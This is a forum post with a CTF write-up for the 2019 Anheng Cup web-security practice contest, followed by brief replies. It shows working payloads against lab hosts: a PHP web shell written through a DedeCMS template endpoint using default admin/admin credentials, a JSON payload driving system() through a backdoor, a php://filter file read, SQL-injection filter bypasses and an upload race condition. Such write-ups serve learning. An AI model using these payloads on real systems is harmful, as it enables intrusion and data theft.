首页
社区
课程
招聘
[原创]2019安恒杯Web安全测试大赛练习赛Writeup
发表于: 2020-4-20 21:08 1817

[原创]2019安恒杯Web安全测试大赛练习赛Writeup

2020-4-20 21:08
1817

全是Web题,虽然大都是原题,但是质量不错,刷完后感觉学到了不少知识。

爱い窒息、痛

非主流老哥的后门,你进得去么,靶机:http://114.55.36.69:8020

 

这道题的考点在于

  • 检测ua头中有没有传入值的md5加密后的字符串
  • 绕过字符串切分,成功拼接url
  • 利用$f($d)类型的一句话木马

访问http://114.55.36.69:8020/upload/dama.xxxx得到源码

 

php格式化后http://www.jsons.cn/phpformat/,进行审计

1
2
3
4
5
6
7
$a = isset($_POST['pass']) ? trim($_POST['pass']) : '';
if ($a == '') {
    echologin();
} else {//
    chkpass($a);
    helloowner($a);
}

可以看到最开始,如果当参数pass不为空的时候,调用chkpass函数进行判断

1
2
3
4
5
6
function chkpass($a) {
    if (stripos($_SERVER['HTTP_USER_AGENT'], md5($a)) === false) {//stripos查找字符串首次出现的位置(不区分大小写)
        echofail(1);
    }
    return true;
}

chkpass则是检测,user_agent头里有没有,md5加密过的pass参数的值

 

向下接着看helloowner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function helloowner($a) {//字符串拼接函数
    $b = gencodeurl($a);//如果长度>40,则进行截取拼接,如果<40返回的url为http://goodweb.com
    $c = file_get_contents($b);//读取给定网址的文件内容
    if ($c == false) {
        echofail(2);
    }
    $d = @json_decode($c, 1);//将读取到的内容进行json_decode 解码,以数组形式返回?
    if (!isset($d['f'])) {//如果$d['f']未获取到,则输出fail3
        echofail(3);
    }
    $d['f']($d['d']);
    //否则的话,将拼接函数执行
}
function gencodeurl($a) {//url切分
    $e = md5(date("Y-m-d"));
    if (strlen($a) > 40) {//如果长度>40,$f = a[30:35],$g = a[10:20]
        $f = substr($a, 30, 5);
        $g = substr($a, 10, 10);
    } else {
        $f = 'good';
        $g = 'web.com';
    }
    $b = 'http://' . $f . $g;
    return $b;
}

helloowner则是进行url切分拼接,和json_decode后执行$d['f']($d['d']);

 

这里可以把url切分函数,单独分离出来,搭在到本地进行测试

 

1569595787704

 

成功绕过。

 

$d['f']($d['d']);可以用于构造命令执行的一句话木马(这里构造代码执行eval一句话失败,无法被执行)

 

这里构造payload

1
2
3
4
5
6
7
8
<!--?php
$url = array(
    "f"=-->"system",
    "d"=>"cat ../flag.php"
);
$url = json_encode($url);
echo $url;
?>

最终访问输出如下

1
{"f":"system","d":"cat ..\/flag.php"}

构造并发送payload,获得flag

 

1569165402859

dedecms

放出来好几天的东西,随便玩玩http://114.55.36.69:8008

 

默认后台,后台管理员登陆页面弱口令admin/admin

 

发现dedecms版本为DedeCMS_V57_UTF8_SP2,在网上可以找到它的后台代码执行漏洞,https://www.freebuf.com/vuls/164035.html

 

访问http://114.55.36.69:8008/dede/tpl.php?action=upload,右击查看源代码获取token值

 

1569326445947

 

写入一句话木马

 

http://114.55.36.69:8008/dede/tpl.php?filename=flag0.lib.php&action=savetagfile&content=%3C?php%20system($_POST[%27cmd%27]);%20?%3E&token=89f28c36f44cd0849bc2c43880b5dd18

 

1569330050134

 

访问写入的木马获取到flag路径

 

1569330251722

 

getflag

 

1569330321021

新的新闻搜索

你以为还是简单的新闻搜索网站么 http://114.55.36.69:8030

 

这里过滤了unionselect使用mysql内联注释进行绕过

 

1569594314883

常规操作

常规操作,试一试 http://114.55.36.69:8009/

 

这里存在本地文件包含,且php拼接后缀

 

发现其web根目录下存在flag.php,直接php伪协议读取

1
http://114.55.36.69:8009/index.php?url=php://filter/read=convert.base64-encode/resource=flag

1569594518980

 

base64解码即可得到flag

 

1569594566506

新闻搜索

简单的新闻搜索网站 http://114.55.36.69:8010

 

简单的post注入

 

1569594128673

一个hackerone的有趣的漏洞的复现

ctf打多了,现在咱们把hackerone的漏洞复现一下吧。小曾师傅花了好几天写了一套模拟hackerone上的漏洞的程序,恩阿。很有趣哦~这可是企业实实在在遇到的问题哦!不是脑洞大开题 请各位亲们谨慎思考。靶机:http://114.55.36.69:8023

  • 注册用户绑定自己邮箱
  • 获取校验链接
  • 请求校验链接
  • 在请求校验链接的同时,修改绑定邮箱为管理员邮箱如果能够在代码执行“校验成功”和“更新账户绑定邮箱状 态”步骤之间成功修改邮箱,就能直接将邮箱状态设置为已校验(条件竞争/时间竞争)

详细步骤

奇怪的恐龙特性

大约在15亿年前,生活在地球上的恐龙中有一种很奇怪的恐龙,他们有一种奇怪的特性,那就是当在捕杀猎物的时候,如果猎物发出惊讶的表情的时候,他们也会发出惊讶的表情来告诉猎物“你们快要死了”,然而这种特性并没什么用处。。。因为我编不下去了。。以上这个故事是我瞎编的。。。靶机:http://114.55.36.69:8022

 

这是一道代码审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!--?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
    echo 'A_A,have fun';
}
elseif ($str<9999999999) {
    echo 'A_A,too small';
}
elseif ((string)$str-->0) {
    echo 'A_A,too big';
}
else{
    echo file_get_contents('flag.php');
 
}
 
 ?>

$_SERVER['QUERY_STRING']会获取到所有的文件后面传递的所有参数。

 

下面的实验可以直观的展现出它的作用

 

1569593877564

 

php有以下特性

  • php自身在解析请求时,会把+和.解析成下划线
  • 数组与数字比较,永远大于数字
  • 字符a在和整形进行弱类型比较时,会被强制转换成整形,其值为0

利用以上特性进行绕过

 

1569593465305

新瓶装旧酒

瓶子里的酒啊,越久越好,靶机:http://114.55.36.69:8017

 

作为一个不会代码审计的弱鸡,看了两个小时代码,猜测可能在上传解压后判断文件名不合法然后删除文件的地方存在条件竞争

1
2
3
4
5
6
7
8
foreach($files as $name){
    if(!in_array(getExt($name), array('.jpg','.png','.jpeg','.gif')) || strpos($name, '.ph') !== false){
        unlink($tmpdir.'/'.$name);
        continue;
     }
     $files_num++;
     echo "/upload/".md5($tmpname)."/{$name}\n";
}

结果发现每次上传的时候都会有几秒的sleep时间,并不能成功竞争,并且如果爆破的话,会导致web无法正常访问。

 

最后发现是考点是apache2.2.15的解析漏洞,跟代码怎么写没有关系。。。

 

在apache2.2.15版本的情况下,test.php.png.jpg.gif等均会被解析成php文件来执行,高版本的apach服务器不存在此漏洞。

 

[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2020-4-21 14:58 被flag0编辑 ,原因: 修复paload错别字
收藏
免费
支持
分享
最新回复 (5)
雪    币: 1931
活跃值: (442)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
flag0师傅博客也发了一份
2020-4-20 21:17
0
雪    币:
活跃值: (94)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
paload错别字哦
2020-4-21 10:09
0
雪    币: 56043
活跃值: (21225)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
4
KCTF 第八题 牛刀小试 也是一道WEB题,记得到时来参与一下:https://ctf.pediy.com/game-season_fight-142.htm
2020-4-21 13:49
0
雪    币: 338
活跃值: (2006)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
5
古朴 paload错别字哦
已修改,感谢师傅帮忙纠正。
2020-4-21 14:59
0
雪    币: 338
活跃值: (2006)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
6
kanxue KCTF 第八题 牛刀小试 也是一道WEB题,记得到时来参与一下:https://ctf.pediy.com/game-season_fight-142.htm
好的,段老师,等开题了,我也去参加下。
2020-4-21 15:01
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册